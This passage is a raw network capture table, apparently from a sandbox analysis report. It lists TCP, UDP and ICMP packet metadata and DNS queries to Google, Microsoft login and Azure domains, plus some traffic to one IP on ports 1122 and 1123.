Dec 29, 2024 13:55:56.621706009 CET	443	50802	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.621776104 CET	50802	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.622387886 CET	50802	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.622410059 CET	443	50802	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.622721910 CET	443	50800	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.622948885 CET	443	50800	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.623037100 CET	50800	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.624116898 CET	50800	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.624123096 CET	443	50800	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.777888060 CET	49930	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:55:56.777940035 CET	49930	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:55:56.928527117 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:55:56.928601027 CET	49930	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:55:57.071110010 CET	443	50808	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.071402073 CET	50808	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.071434021 CET	443	50808	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.071847916 CET	443	50808	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.072225094 CET	50808	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.072319984 CET	443	50808	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.072398901 CET	50808	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.119335890 CET	443	50808	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.279337883 CET	443	50808	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.279397964 CET	50808	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.430144072 CET	443	50810	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.430896044 CET	50810	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.430921078 CET	443	50810	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.431418896 CET	443	50810	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.432312012 CET	50810	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.432391882 CET	443	50810	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.433787107 CET	50810	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.479347944 CET	443	50810	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.532948971 CET	443	50811	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.533870935 CET	50811	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.533890963 CET	443	50811	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.534317017 CET	443	50811	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.535032034 CET	50811	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.535125971 CET	443	50811	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.535168886 CET	50811	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.576522112 CET	50811	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.576545000 CET	443	50811	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.597896099 CET	443	50808	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.597995043 CET	443	50808	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.598335028 CET	50808	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.598767996 CET	50808	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.598797083 CET	443	50808	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.724709034 CET	443	50815	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:57.727397919 CET	50815	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:57.727427006 CET	443	50815	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:57.727936029 CET	443	50815	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:57.728266001 CET	50815	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:57.728348970 CET	443	50815	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:57.728435993 CET	50815	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:57.775335073 CET	443	50815	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:57.783490896 CET	50815	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:57.948590994 CET	443	50810	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.948683023 CET	443	50810	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:57.948983908 CET	50810	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.957496881 CET	50810	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:57.957536936 CET	443	50810	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:58.052042007 CET	443	50811	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:58.052146912 CET	443	50811	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:58.052206993 CET	50811	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:58.053075075 CET	50811	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:58.053097010 CET	443	50811	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:58.168915033 CET	443	50814	34.198.65.183	192.168.2.4
Dec 29, 2024 13:55:58.169914961 CET	50814	443	192.168.2.4	34.198.65.183
Dec 29, 2024 13:55:58.169950008 CET	443	50814	34.198.65.183	192.168.2.4
Dec 29, 2024 13:55:58.171060085 CET	443	50814	34.198.65.183	192.168.2.4
Dec 29, 2024 13:55:58.171112061 CET	50814	443	192.168.2.4	34.198.65.183
Dec 29, 2024 13:55:58.172055006 CET	50814	443	192.168.2.4	34.198.65.183
Dec 29, 2024 13:55:58.172152042 CET	443	50814	34.198.65.183	192.168.2.4
Dec 29, 2024 13:55:58.172349930 CET	50814	443	192.168.2.4	34.198.65.183
Dec 29, 2024 13:55:58.172359943 CET	443	50814	34.198.65.183	192.168.2.4
Dec 29, 2024 13:55:58.213479996 CET	50814	443	192.168.2.4	34.198.65.183
Dec 29, 2024 13:55:58.330449104 CET	443	50815	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:58.330526114 CET	443	50815	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:58.330585957 CET	50815	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:58.331530094 CET	50815	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:58.331578016 CET	443	50815	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:58.363444090 CET	50822	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:58.363506079 CET	443	50822	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:58.363580942 CET	50822	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:58.363765001 CET	50822	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:58.363797903 CET	443	50822	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:58.492324114 CET	50823	443	192.168.2.4	13.228.48.14
Dec 29, 2024 13:55:58.492382050 CET	443	50823	13.228.48.14	192.168.2.4
Dec 29, 2024 13:55:58.492445946 CET	50823	443	192.168.2.4	13.228.48.14
Dec 29, 2024 13:55:58.492676973 CET	50823	443	192.168.2.4	13.228.48.14
Dec 29, 2024 13:55:58.492691040 CET	443	50823	13.228.48.14	192.168.2.4
Dec 29, 2024 13:55:58.511311054 CET	443	50814	34.198.65.183	192.168.2.4
Dec 29, 2024 13:55:58.511393070 CET	443	50814	34.198.65.183	192.168.2.4
Dec 29, 2024 13:55:58.511662960 CET	50814	443	192.168.2.4	34.198.65.183
Dec 29, 2024 13:55:58.517626047 CET	50814	443	192.168.2.4	34.198.65.183
Dec 29, 2024 13:55:58.517649889 CET	443	50814	34.198.65.183	192.168.2.4
Dec 29, 2024 13:55:58.517663956 CET	50814	443	192.168.2.4	34.198.65.183
Dec 29, 2024 13:55:58.517710924 CET	50814	443	192.168.2.4	34.198.65.183
Dec 29, 2024 13:55:58.720788002 CET	50826	1123	192.168.2.4	8.212.101.195
Dec 29, 2024 13:55:58.841589928 CET	1123	50826	8.212.101.195	192.168.2.4
Dec 29, 2024 13:55:58.841672897 CET	50826	1123	192.168.2.4	8.212.101.195
Dec 29, 2024 13:55:59.824474096 CET	443	50822	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:59.872510910 CET	50822	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:56:01.034478903 CET	443	50823	13.228.48.14	192.168.2.4
Dec 29, 2024 13:56:01.083525896 CET	50823	443	192.168.2.4	13.228.48.14

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 13:53:06.214797020 CET	138	138	192.168.2.4	192.168.2.255
Dec 29, 2024 13:54:01.127990007 CET	53	62802	1.1.1.1	192.168.2.4
Dec 29, 2024 13:54:01.185153008 CET	53	54693	1.1.1.1	192.168.2.4
Dec 29, 2024 13:54:04.448081970 CET	53	63354	1.1.1.1	192.168.2.4
Dec 29, 2024 13:54:05.384804010 CET	51937	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:05.384946108 CET	52475	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:05.525943041 CET	53	52475	1.1.1.1	192.168.2.4
Dec 29, 2024 13:54:05.527273893 CET	53	51937	1.1.1.1	192.168.2.4
Dec 29, 2024 13:54:12.170912027 CET	61551	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:12.171124935 CET	50510	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:12.171565056 CET	59768	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:12.171678066 CET	65014	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:12.479100943 CET	60447	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:12.479280949 CET	50360	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:12.584022999 CET	54103	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:12.584146976 CET	60659	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:12.617499113 CET	53	60447	1.1.1.1	192.168.2.4
Dec 29, 2024 13:54:12.619344950 CET	53	50360	1.1.1.1	192.168.2.4
Dec 29, 2024 13:54:12.704066992 CET	59115	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:12.704196930 CET	57815	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:21.449836016 CET	53	61069	1.1.1.1	192.168.2.4
Dec 29, 2024 13:54:24.238745928 CET	56814	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:24.238863945 CET	54954	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:30.523979902 CET	54140	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:30.524132013 CET	50742	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:31.925537109 CET	58401	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:31.925657034 CET	55970	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:35.768774986 CET	54078	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:35.769310951 CET	55328	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:39.457058907 CET	53	49930	1.1.1.1	192.168.2.4
Dec 29, 2024 13:54:40.507719994 CET	61850	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:40.507982016 CET	63904	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:40.553570032 CET	53	54792	1.1.1.1	192.168.2.4
Dec 29, 2024 13:54:40.645952940 CET	53	63904	1.1.1.1	192.168.2.4
Dec 29, 2024 13:54:40.646596909 CET	53	61850	1.1.1.1	192.168.2.4
Dec 29, 2024 13:54:44.296098948 CET	59263	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:54:44.296374083 CET	53088	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:00.708163023 CET	53	63844	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:03.060751915 CET	53	50979	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:16.783627987 CET	59452	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:16.783967018 CET	57901	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:16.784991980 CET	54997	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:16.785274029 CET	50408	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:16.970410109 CET	63598	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:16.970617056 CET	55755	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:17.187637091 CET	51663	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:17.187772989 CET	61330	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:24.780841112 CET	49904	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:24.780983925 CET	50429	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:24.919715881 CET	53	50429	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:24.923717022 CET	53	49904	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:26.943504095 CET	54317	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:26.944503069 CET	61355	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:26.958204985 CET	56403	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:26.958369970 CET	63575	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:26.959891081 CET	51446	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:26.960043907 CET	51527	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:27.099184990 CET	53	51527	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:27.239336967 CET	53	56403	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:27.239692926 CET	53	54317	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:27.239980936 CET	53	61355	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:27.244251013 CET	53	63575	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:27.914289951 CET	55054	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:27.914576054 CET	54551	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:28.052855968 CET	53	55054	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:28.053813934 CET	53	54551	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:29.353821039 CET	54157	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:29.356632948 CET	59891	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:29.425221920 CET	56623	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:29.425357103 CET	60065	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:29.492767096 CET	53	54157	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:29.496462107 CET	53	59891	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:29.563626051 CET	53	60065	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:29.663960934 CET	50525	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:29.664258003 CET	62379	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:29.802773952 CET	53	50525	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:29.802844048 CET	53	62379	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:30.679411888 CET	64617	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:30.679671049 CET	59656	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:30.817430019 CET	53	64617	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:30.818157911 CET	53	59656	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:33.163949966 CET	50357	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:33.164189100 CET	50138	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:33.302649975 CET	53	50357	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:33.562407017 CET	53	50138	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:33.858396053 CET	53	51840	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:33.880990028 CET	58367	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:33.881244898 CET	61678	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:34.019368887 CET	53	58367	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:34.024198055 CET	53	61678	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:34.391948938 CET	62858	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:34.392088890 CET	49733	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:35.143851995 CET	62199	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:35.144201040 CET	57597	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:35.145159960 CET	59169	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:35.145368099 CET	60890	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:35.145733118 CET	59928	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:35.145855904 CET	62016	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:35.283926010 CET	53	62016	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:35.284169912 CET	53	59928	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:35.460858107 CET	53	57597	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:36.082081079 CET	51016	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:36.082535028 CET	52643	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:36.881017923 CET	56695	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:36.881520033 CET	59326	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:37.439687014 CET	58011	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:37.439815044 CET	51069	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:37.725682020 CET	53	51069	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:41.361848116 CET	54753	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:41.361995935 CET	58622	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:41.500004053 CET	53	54753	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:41.501394987 CET	53	58622	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:42.722628117 CET	56534	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:42.723180056 CET	55440	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:42.861347914 CET	53	55440	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:42.861392021 CET	53	56534	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:45.229657888 CET	61650	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:45.230135918 CET	54939	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:45.367885113 CET	53	61650	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:45.369926929 CET	53	54939	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:47.258678913 CET	61632	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:47.259174109 CET	55832	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:47.396712065 CET	53	61632	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:47.397527933 CET	53	55832	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:47.973803043 CET	59335	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:47.973964930 CET	62835	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:47.976974010 CET	58810	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:47.977144957 CET	65488	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:47.977518082 CET	53679	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:47.978064060 CET	56068	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:47.979917049 CET	56840	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:47.980084896 CET	53558	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:47.980557919 CET	54847	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:47.980726004 CET	60772	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:47.981260061 CET	49489	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:47.981451035 CET	52237	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:48.115458965 CET	53	58810	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:48.116911888 CET	53	56068	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:48.117023945 CET	53	65488	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:48.121845007 CET	53	60772	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:48.225799084 CET	53	53679	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:48.761847973 CET	50814	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:48.762082100 CET	56868	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:48.899796009 CET	53	50814	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:48.901125908 CET	53	56868	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:49.900521994 CET	60925	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:49.900794983 CET	57867	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:50.040333033 CET	53	57867	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:50.041467905 CET	53	60925	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:50.792598963 CET	52390	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:50.792871952 CET	62573	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:51.026309013 CET	53	62573	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:51.043205976 CET	53	52390	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:51.766001940 CET	59202	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:51.766113997 CET	61109	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:52.140158892 CET	60888	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:52.140321970 CET	63565	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:52.278619051 CET	53	60888	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:52.279473066 CET	53	63565	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:53.700700045 CET	58516	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:53.700855970 CET	60674	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:53.841758013 CET	53	60674	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:56.161542892 CET	57914	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:56.161675930 CET	56799	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:56.300163031 CET	53	57914	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:56.300240993 CET	53	56799	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:58.352044106 CET	56352	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:58.352161884 CET	54931	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:58.490622997 CET	53	56352	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:58.491981983 CET	53	54931	1.1.1.1	192.168.2.4
Dec 29, 2024 13:55:58.528080940 CET	65213	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:58.528238058 CET	49949	53	192.168.2.4	1.1.1.1
Dec 29, 2024 13:55:58.667226076 CET	53	49949	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 29, 2024 13:54:12.939402103 CET	192.168.2.4	1.1.1.1	c2de	(Port unreachable)	Destination Unreachable
Dec 29, 2024 13:54:36.404597998 CET	192.168.2.4	1.1.1.1	c2c1	(Port unreachable)	Destination Unreachable
Dec 29, 2024 13:55:06.723021984 CET	192.168.2.4	1.1.1.1	c270	(Port unreachable)	Destination Unreachable
Dec 29, 2024 13:55:17.229842901 CET	192.168.2.4	1.1.1.1	c2c1	(Port unreachable)	Destination Unreachable
Dec 29, 2024 13:55:33.562468052 CET	192.168.2.4	1.1.1.1	c265	(Port unreachable)	Destination Unreachable
Dec 29, 2024 13:55:36.221939087 CET	192.168.2.4	1.1.1.1	c269	(Port unreachable)	Destination Unreachable
Dec 29, 2024 13:55:53.561403990 CET	192.168.2.4	1.1.1.1	c28c	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 29, 2024 13:54:05.384804010 CET	192.168.2.4	1.1.1.1	0x456d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:05.384946108 CET	192.168.2.4	1.1.1.1	0xec55	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 29, 2024 13:54:12.170912027 CET	192.168.2.4	1.1.1.1	0xfdce	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:12.171124935 CET	192.168.2.4	1.1.1.1	0x6799	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false
Dec 29, 2024 13:54:12.171565056 CET	192.168.2.4	1.1.1.1	0x79b	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:12.171678066 CET	192.168.2.4	1.1.1.1	0x50fb	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 29, 2024 13:54:12.479100943 CET	192.168.2.4	1.1.1.1	0x3231	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:12.479280949 CET	192.168.2.4	1.1.1.1	0x69a8	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 29, 2024 13:54:12.584022999 CET	192.168.2.4	1.1.1.1	0xb765	Standard query (0)	mem.gfx.ms	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:12.584146976 CET	192.168.2.4	1.1.1.1	0x2514	Standard query (0)	mem.gfx.ms	65	IN (0x0001)	false
Dec 29, 2024 13:54:12.704066992 CET	192.168.2.4	1.1.1.1	0xab0	Standard query (0)	support.content.office.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:12.704196930 CET	192.168.2.4	1.1.1.1	0x2a25	Standard query (0)	support.content.office.net	65	IN (0x0001)	false
Dec 29, 2024 13:54:24.238745928 CET	192.168.2.4	1.1.1.1	0xf8d8	Standard query (0)	support.content.office.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:24.238863945 CET	192.168.2.4	1.1.1.1	0x4e7b	Standard query (0)	support.content.office.net	65	IN (0x0001)	false
Dec 29, 2024 13:54:30.523979902 CET	192.168.2.4	1.1.1.1	0x388d	Standard query (0)	mem.gfx.ms	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:30.524132013 CET	192.168.2.4	1.1.1.1	0xbe6e	Standard query (0)	mem.gfx.ms	65	IN (0x0001)	false
Dec 29, 2024 13:54:31.925537109 CET	192.168.2.4	1.1.1.1	0x1c91	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:31.925657034 CET	192.168.2.4	1.1.1.1	0x5e4c	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Dec 29, 2024 13:54:35.768774986 CET	192.168.2.4	1.1.1.1	0xfd88	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:35.769310951 CET	192.168.2.4	1.1.1.1	0x3588	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 29, 2024 13:54:40.507719994 CET	192.168.2.4	1.1.1.1	0x2e45	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:40.507982016 CET	192.168.2.4	1.1.1.1	0x1662	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 29, 2024 13:54:44.296098948 CET	192.168.2.4	1.1.1.1	0xf6db	Standard query (0)	assets.adobedtm.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:44.296374083 CET	192.168.2.4	1.1.1.1	0x4159	Standard query (0)	assets.adobedtm.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:16.783627987 CET	192.168.2.4	1.1.1.1	0xff5	Standard query (0)	support.content.office.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:16.783967018 CET	192.168.2.4	1.1.1.1	0xbea7	Standard query (0)	support.content.office.net	65	IN (0x0001)	false
Dec 29, 2024 13:55:16.784991980 CET	192.168.2.4	1.1.1.1	0x347d	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:16.785274029 CET	192.168.2.4	1.1.1.1	0x730c	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:16.970410109 CET	192.168.2.4	1.1.1.1	0xdf4f	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
